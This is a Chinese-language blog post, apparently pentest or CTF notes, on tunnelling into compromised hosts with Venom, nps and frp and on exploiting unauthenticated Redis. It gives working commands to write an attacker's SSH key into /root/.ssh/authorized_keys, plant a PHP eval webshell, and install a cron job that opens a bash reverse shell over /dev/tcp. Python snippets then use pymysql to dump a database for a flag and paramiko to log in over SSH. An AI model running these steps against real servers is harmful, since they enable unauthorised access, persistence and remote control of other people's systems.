代理搭建

Venom+Proxifier

这里利用Venom来搭建代理,利用socks5协议将流量全部代理到我们的本地电脑上
https://github.com/Dliv3/Venom/releases
将admin端和agent端分别传到vps和被控主机上。
首先在自己vps上启动admin

./admin_linux_x86 -lport 10011

在被控主机上执行

./agent.exe -rhost 134.*.*.40 -rport 10011

SL5Y7LEQQD6HC2R.png

admin端会提示被控主机的连入,用show查看节点,goto 1前往该节点;
我们goto 1进入该被控主机,然后

socks 11112

选定端口启动socks服务。
在Proxifier中添加我们的代理服务器,协议选择socks5,在代理规则中转发相应程序流量。
就可以访问内网资源了

nps+(Proxifier)

安装NPS https://github.com/ehang-io/nps/releases/tag/v0.26.10

wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz && tar -zxvf linux_amd64_server.tar.gz

进入conf文件夹编辑nps.conf,修改配置信息
139AVACYDI1NZ(45XZ(UUUO.png
然后运行nps

./nps

VHYE3F3XOQ@LM7))KEH84W3.png
然后直接访问控制面板,新增客户端,然后回到列表点开客户端ID前面的+号,会发现有个客户端命令,这就是我们要在shell执行的命令。
在被控主机上安装nps
https://github.com/ehang-io/nps/releases/tag/v0.26.10
如果目标是win主机,则命令为

npc.exe -server=公网IP:8024 -vkey=密钥 -type=tcp

执行后在线客户端变为1.
重新回到nps的管理页面,查看一下客户端的ID,新增SOCKS代理,填上客户端id,设置端口即可
配合代理工具或者Proxifier

frp+Proxifier

https://github.com/fatedier/frp/releases
通过 ./frps -c ./frps.ini 启动服务端,再通过 ./frpc -c ./frpc.ini 启动客户端
拉取安装

wget https://github.com/fatedier/frp/releases/download/v0.33.0/frp_0.48.0_linux_amd64.tar.gz

解压

tar -zxvf frp_0.48.0_linux_amd64.tar.gz

其中frps 是服务端启动脚本,frps.ini是服务端启动配置文件
frpc 是客户端启动脚本 frpc.ini 是客户端启动配置文件

服务端frps.ini(单一个bind_port就ok)

# 绑定服务端端口,给客户端连接的通道
bind_port = 7000
# 设置客户端token
token = WSX#EDC
# 日志 -- 
log_file = /opt/frp_0.48.0_linux_amd64/log/frps.log
log_level = info
# 日志最多保存天数
log_max_days = 3

开放端口

firewall-cmd --zone=public --add-port=8090/tcp --permanent
firewall-cmd --reload

客户端frpc.ini

[common]
server_addr=xxx.xxx.xxx.xxx # 服务端ip
server_port=7000# 与服务器上填写的通信端口一致,和服务端建立通道,连接1
token=WSX#EDC # 和服务器token一致
[socks5_proxy]
remote_port = 6005
plugin = socks5
[mysql]
type = tcp
local_ip = 172.20.0.3
local_port = 3306 # 客户端服务的端口
remote_port = 6001 # 链接上后,服务端会监听这个端口,转发到local_port 上

然后开始服务端服务即可。

使用示例:

mysql -u root -h <vps-ip> -P 6001 -p

待会打redis用到的

[redis]
type = tcp
local_ip = 172.20.0.2
local_port = 6379
remote_port = 6002
[ssh]
type = tcp
local_ip = 172.20.0.2
local_port = 22
remote_port = 6003

redis未授权访问

漏洞成因

Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。

漏洞产生要求:
1、Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
2、没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务
漏洞影响版本:
Redis 2.x,3.x,4.x,5.x

利用

通过写入ssh公钥实现ssh登录

原理:在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。

1首先在攻击机上生成ssh公钥和私钥,密码设置为空

ssh-keygen -t rsa

1ZHXFU.png
2进入/root/.ssh,将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)

(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt

3再把key.txt文件内容写入redis缓冲(靶机)

cat key.txt| redis-cli -h <vps-ip> -x set pub

4设置redis的默认文件路径为/root/.ssh且文件名为authorized_keys,然后save保存。

redis-cli -h <vps-ip> -p 6002
config set dir /root/.ssh
config set dbfilename authorized_keys
save

H2KGOQng
最后ssh连接即可

通过写入webshell

利用条件:目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等),还需要具有读写增删改查权限

redis-cli -h <vps-ip> -p 6002
config set dir /var/www/html
config set dbfilename shell.php
set webshell "\n\n\n<?php @eval($_POST[1]);?>\n\n\n"
save

linux计划任务反弹shell

原理:利用了redis数据库的备份功能,在我们不知道网站绝对路径的时候,可以利用linux的定时任务特性:Linux会监测/etc/crontab的内容,当我们将反弹shell的命令使用redis备份到/etc/crontab中,就可以获得反弹shell。
在不同系统中,root的位置是不一样的 在kali和ubantu中,其文件位置为/var/spool/cron/crontabs/root,在centos系列中位置为/var/spool/cron/root,通常情况下没有root文件,需要自己创建。
1将反弹shell命令写入到定时任务中

redis-cli -h <vps-ip> -p 6002
config set dir /var/spool/cron(/crontabs)//看系统
config set dbfilename root
set abc "\n\n\n* * * * * bash -i >& /dev/tcp/<ip>/10011 0>&1 2>&1\n\n\n"
save

nc监听即可

其他

利用python库与mysql redis建立联系,不需要搭代理(这里用的python console)

pymysql

>>>db = pymysql.connect(host='localhost',user='root',db='ctf',password='123456',port=3306,charset='utf8')
>>>cursor = db.cursor()
>>>cursor.execute("select database()")
1
>>>cursor.fetchall()
(('messageboard'))
>>> cursor.execute("select(group_concat(table_name))from(information_schema.tables)where(table_schema)='messageboard'")
1
>>> cursor.fetchall()
(('flag,message,users'))
>>> cursor.execute("select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')")
1
>>> cursor.fetchall()
(('flag'))
>>> cursor.execute("select(group_concat(flag))from(flag)")
1
>>> cursor.fetchall()

redis

用Python装一个redis

subprocess.check_output("pip3 install redis",stderr=subprocess.STDOUT,shell=True)

然后连接redis

r = redis.Redis(host='172.20.0.3', port=6379, db=0)
r.info()//信息
>>> r.set('aaaaaa', '\n\n' + public_key + '\n\n')
True
>>> r.config_set('dir', '/root/.ssh')
True
>>> r.config_set('dbfilename', 'authorized_keys')
True
>>> r.save()
True

可以用paramiko进行ssh连接,安装subprocess.check_output("pip3 install paramiko",stderr=subprocess.STDOUT,shell=True)
参考https://www.cnblogs.com/wongbingming/articles/12384764.html

>>> import paramiko
>>> pkey = paramiko.RSAKey.from_private_key_file('privkey', password='')
>>> trans = paramiko.Transport(('172.20.0.3', 22))
>>> trans.connect(username='root', pkey=pkey)
>>> ssh = paramiko.SSHClient()
>>> ssh._transport = trans
>>> stdin, stdout, stderr = ssh.exec_command('ls /')
>>> print(stdout.read().decode())
>>> stdin, stdout, stderr = ssh.exec_command('cat /flag')
>>> print(stdout.read().decode())

方法1:基于用户名和密码的 sshclient 方式登录

import paramiko

ssh = paramiko.SSHClient()
# 允许连接不在know_hosts文件中的主机
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

# 建立连接
ssh.connect("xx.xx.xx.xx", username="root", port=22, password="you_password")

# 使用这个连接执行命令
ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command("ls -l")

# 获取输出
print(ssh_stdout.read())

# 关闭连接
ssh.close()

方法2:基于用户名和密码的 transport 方式登录

方法1 是传统的连接服务器、执行命令、关闭的一个操作,多个操作需要连接多次,无法复用连接[痛点四]。

有时候需要登录上服务器执行多个操作,比如执行命令、上传/下载文件,方法1 则无法实现,那就可以使用 transport 的方法。

import paramiko

# 建立连接
trans = paramiko.Transport(("xx.xx.xx.xx", 22))
trans.connect(username="root", password="you_passwd")

# 将sshclient的对象的transport指定为以上的trans
ssh = paramiko.SSHClient()
ssh._transport = trans

# 剩下的就和上面一样了
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command("ls -l")
print(ssh_stdout.read())

# 关闭连接
trans.close()

方法3:基于公钥密钥的 SSHClient 方式登录

import paramiko

# 指定本地的RSA私钥文件
# 如果建立密钥对时设置的有密码,password为设定的密码,如无不用指定password参数
pkey = paramiko.RSAKey.from_private_key_file('/home/you_username/.ssh/id_rsa', password='12345')

# 建立连接
ssh = paramiko.SSHClient()
ssh.connect(hostname='xx.xx.xx.xx',
            port=22,
            username='you_username',
            pkey=pkey)

# 执行命令
stdin, stdout, stderr = ssh.exec_command('ls -l')

# 结果放到stdout中,如果有错误将放到stderr中
print(stdout.read())

# 关闭连接
ssh.close()

方法4:基于密钥的 Transport 方式登录

import paramiko

# 指定本地的RSA私钥文件
# 如果建立密钥对时设置的有密码,password为设定的密码,如无不用指定password参数
pkey = paramiko.RSAKey.from_private_key_file('/home/you_username/.ssh/id_rsa', password='12345')

# 建立连接
trans = paramiko.Transport(('xx.xx.xx.xx', 22))
trans.connect(username='you_username', pkey=pkey)

# 将sshclient的对象的transport指定为以上的trans
ssh = paramiko.SSHClient()
ssh._transport = trans

# 执行命令,和传统方法一样
stdin, stdout, stderr = ssh.exec_command('df -hl')
print(stdout.read().decode())

# 关闭连接
trans.close()
最后修改:2023 年 10 月 28 日
如果觉得我的文章对你有用,请随意赞赏